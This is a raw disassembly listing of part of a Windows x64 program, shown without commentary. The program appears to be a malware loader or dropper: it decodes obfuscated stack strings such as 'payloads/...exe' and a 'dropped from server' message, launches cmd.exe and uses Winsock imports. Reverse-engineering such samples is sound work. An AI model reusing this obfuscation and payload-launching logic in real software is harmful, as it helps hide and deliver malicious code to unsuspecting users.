mov byte [rsp + 0x4c], al
mov eax, dword [rsp + 0x30]
add al, 0x19
xor al, 0x2e
mov byte [rsp + 0x4d], al
mov eax, dword [rsp + 0x30]
add al, 0x1a
xor al, 0x65
mov byte [rsp + 0x4e], al
mov eax, dword [rsp + 0x30]
add al, 0x1b
xor al, 0x78
mov byte [rsp + 0x4f], al
mov eax, dword [rsp + 0x30]
add al, 0x1c
xor al, 0x65
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x30]
add al, 0x1d
xor al, 0x20
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x30]
add al, 0x1e
xor al, 0x66
mov byte [rsp + 0x52], al
mov eax, dword [rsp + 0x30]
add al, 0x1f
xor al, 0x72
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0x30]
add al, 0x20
xor al, 0x6f
mov byte [rsp + 0x54], al
mov eax, dword [rsp + 0x30]
add al, 0x21
xor al, 0x6d
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x30]
add al, 0x22
xor al, 0x20
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0x30]
add al, 0x23
xor al, 0x6c
mov byte [rsp + 0x57], al
mov eax, dword [rsp + 0x30]
add al, 0x24
xor al, 0x6f
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x30]
add al, 0x25
xor al, 0x63
mov byte [rsp + 0x59], al
mov eax, dword [rsp + 0x30]
add al, 0x26
xor al, 0x61
mov byte [rsp + 0x5a], al
mov eax, dword [rsp + 0x30]
add al, 0x27
xor al, 0x6c
mov byte [rsp + 0x5b], al
mov eax, dword [rsp + 0x30]
add al, 0x28
xor al, 0x20
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x30]
add al, 0x29
xor al, 0x64
mov byte [rsp + 0x5d], al
mov eax, dword [rsp + 0x30]
add al, 0x2a
xor al, 0x69
mov byte [rsp + 0x5e], al
mov eax, dword [rsp + 0x30]
add al, 0x2b
xor al, 0x73
mov byte [rsp + 0x5f], al
mov eax, dword [rsp + 0x30]
add al, 0x2c
xor al, 0x6b
mov byte [rsp + 0x60], al
xor eax, eax
mov byte [rsp + 0x61], al
movzx eax, byte [rsp + 0x34]
nop dword [rax]
movzx eax, byte [rsp + rdi + 0x34]
mov ecx, dword [rsp + 0x30]
add cl, dil
xor cl, al
mov byte [rsp + rdi + 0x34], cl
inc rdi
cmp rdi, 0x2d
jb 0x140009e10
mov byte [rsp + 0x61], 0
lea rdx, [rsp + 0x34]
lea rcx, [rbp + 0x2e8]
jmp 0x14000a2e1
test r15b, r15b
je 0x140009e56
mov ecx, 0x493e0
call qword [0x14001ff68]
jmp 0x14000a2ef
lea rax, [rbp + 0x308]
mov qword [rbp + 0x5f8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x118], xmm1
mov r8, qword [rbp + 0xd8]
lea rcx, [rbp + 0x108]
call fcn.1400103e0
mov dword [rbp + 0x5f0], 0x3c
lea r9, [rbp + 0x108]
cmp qword [rbp + 0x120], 7
cmova r9, qword [rbp + 0x108]
lea r10, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova r10, qword [rbp + 0xc8]
add r10, qword [rbp + 0xd8]
lea rdx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova rdx, qword [rbp + 0xc8]
mov r8, rdi
mov rcx, r10
sub rcx, rdx
cmp rdx, r10
cmova rcx, rdi
test rcx, rcx
je 0x140009f81
cmp rcx, 0x20
jb 0x140009f81
lea r11, [r9 - 2]
lea r11, [r11 + rcx*2]
lea rax, [rdx - 1]
add rax, rcx
cmp r9, rax
ja 0x140009f1e
cmp r11, rdx
jae 0x140009f81
and rcx, 0xffffffffffffffe0
movq xmm0, qword [rdx]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9], xmm0
movq xmm0, qword [rdx + 8]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x10], xmm0
movq xmm0, qword [rdx + 0x10]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x20], xmm0
movq xmm0, qword [rdx + 0x18]
punpcklbw xmm0, xmm0
psraw xmm0, 8
movdqu xmmword [r9 + 0x30], xmm0
add r9, 0x40
add rdx, 0x20
add r8, 0x20
cmp r8, rcx
jne 0x140009f22
cmp rdx, r10
je 0x140009fa3
nop word [rax + rax]
movsx eax, byte [rdx]
mov word [r9], ax
lea r9, [r9 + 2]
inc rdx
cmp rdx, r10
jne 0x140009f90
mov byte [rbp - 0x64], 0x79
mov byte [rbp - 0x63], 0x6a
mov byte [rbp - 0x62], 0x82
mov byte [rbp - 0x61], 0x75
mov byte [rbp - 0x60], 0x78
mov byte [rbp - 0x5f], 0x6a
mov byte [rbp - 0x5e], 0x6d
mov byte [rbp - 0x5d], 0x7c
mov byte [rbp - 0x5c], 0x38
mov byte [rbp - 0x5b], 0x5d
mov byte [rbp - 0x5a], WSACleanup
mov byte [rbp - 0x59], 0x37
mov byte [rbp - 0x58], 0x6e
mov byte [rbp - 0x57], 0x81
mov byte [rbp - 0x56], 0x6e
mov byte [rbp - 0x55], 0
movzx eax, byte [rbp - 0x64]
mov rcx, rdi
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x64]
sub al, 9
mov byte [rbp + rcx - 0x64], al
inc rcx
cmp rcx, 0xf
jb 0x140009ff0
lea rdx, [rbp - 0x64]
lea rcx, [rbp + 0x308]
call fcn.140003760
mov rbx, rax
mov dword [rbp - 0x54], 0xc
mov byte [rbp - 0x50], 0x7b
mov byte [rbp - 0x4f], 0x6d
mov byte [rbp - 0x4e], 0x7e
mov byte [rbp - 0x4d], 0x68
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x62
xor eax, eax
mov byte [rbp - 0x4a], al
movzx ecx, byte [rbp - 0x50]
mov rdx, rdi
movzx eax, byte [rbp + rdx - 0x50]
mov ecx, dword [rbp - 0x54]
xor cl, al
mov byte [rbp + rdx - 0x50], cl
inc rdx
cmp rdx, 6
jb 0x14000a042
mov byte [rbp - 0x4a], 0
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x328]
call fcn.140003760
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x288]
call fcn.14000bc00
nop
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.14000dc60
nop
lea rdx, [rbp + 0x108]
cmp qword [rbp + 0x120], 7
cmova rdx, qword [rbp + 0x108]
cmp qword [rax + 0x18], 7
jbe 0x14000a0b2
mov rax, qword [rax]
mov rcx, rax
call fcn.140006a80
movzx ebx, al
mov rdx, qword [rbp + 0x280]
cmp rdx, 7
jbe 0x14000a106
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a101
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a101
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f10]
movdqu xmmword [rbp + 0x278], xmm0
mov word [rbp + 0x268], di
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0xf
jbe 0x14000a161
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a15c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a15c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0x298], xmm0
mov byte [rbp + 0x288], 0
mov rdx, qword [rbp + 0x120]
cmp rdx, 7
jbe 0x14000a1c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a1bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f10]
movdqu xmmword [rbp + 0x118], xmm0
mov word [rbp + 0x108], di
test bl, bl
je 0x14000a2ef
lea r9, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0xf
cmova r9, qword [rbp + 0xe8]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r8, str.cmd.exe
lea rdx, [0x140018c68]
xor ecx, ecx
call qword [0x14001feb8]
mov byte [rbp - 0x48], 0x62
mov byte [rbp - 0x47], 0x32
mov byte [rbp - 0x46], 0x64
mov byte [rbp - 0x45], 0x27
mov byte [rbp - 0x44], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x43], 0x76
mov byte [rbp - 0x42], 0x68
mov byte [rbp - 0x41], 0x6b
mov byte [rbp - 0x40], 0x6c
mov byte [rbp - 0x3f], 0x6b
mov byte [rbp - 0x3e], 0x27
mov byte [rbp - 0x3d], 0x7e
mov byte [rbp - 0x3c], 0x6c
mov byte [rbp - 0x3b], 0x6e
mov byte [rbp - 0x3a], 0x68
mov byte [rbp - 0x39], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x38], 0x6c
mov byte [rbp - 0x37], 0x66
mov byte [rbp - 0x36], 0x7a
mov byte [rbp - 0x35], 0x6c
mov byte [rbp - 0x34], 0x79
mov byte [rbp - 0x33], 0x7d
mov byte [rbp - 0x32], WSAStartup
mov byte [rbp - 0x31], 0x6a
mov byte [rbp - 0x30], 0x6c
mov byte [rbp - 0x2f], 0x35
mov byte [rbp - 0x2e], 0x6c
mov byte [rbp - 0x2d], 0x7f
mov byte [rbp - 0x2c], 0x6c
mov byte [rbp - 0x2b], 0x27
mov byte [rbp - 0x2a], 0x6d
mov byte [rbp - 0x29], 0x79
mov byte [rbp - 0x28], 0x76
mov byte [rbp - 0x27], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x26], 0x27
mov byte [rbp - 0x25], 0x7a
mov byte [rbp - 0x24], 0x6c
mov byte [rbp - 0x23], 0x79
mov byte [rbp - 0x22], 0x7d
mov byte [rbp - 0x21], 0x6c
mov byte [rbp - 0x20], 0x79
mov byte [rbp - 0x1f], 0
movzx eax, byte [rbp - 0x48]
movzx eax, byte [rbp + rdi - 0x48]
sub al, 7
mov byte [rbp + rdi - 0x48], al
inc rdi
cmp rdi, 0x29
jb 0x14000a2c2
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x348]
call fcn.140003760
mov rcx, rax
call fcn.14000d750
nop
mov rdx, qword [rbp + 0x100]
cmp rdx, 0xf
jbe 0x14000a333
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a32e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a32e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
movdqa xmm0, xmmword [0x140019f20]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0xf
jbe 0x14000a38f
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a389
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a389
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x14000a3df
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a3ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a3ce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140013248
jmp 0x14000a3df
mov dword [0x14001faf8], 1
mov rbx, qword [rsp + 0x700]
add rsp, 0x6c0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.1400030a0
nop
call fcn.140003000
int3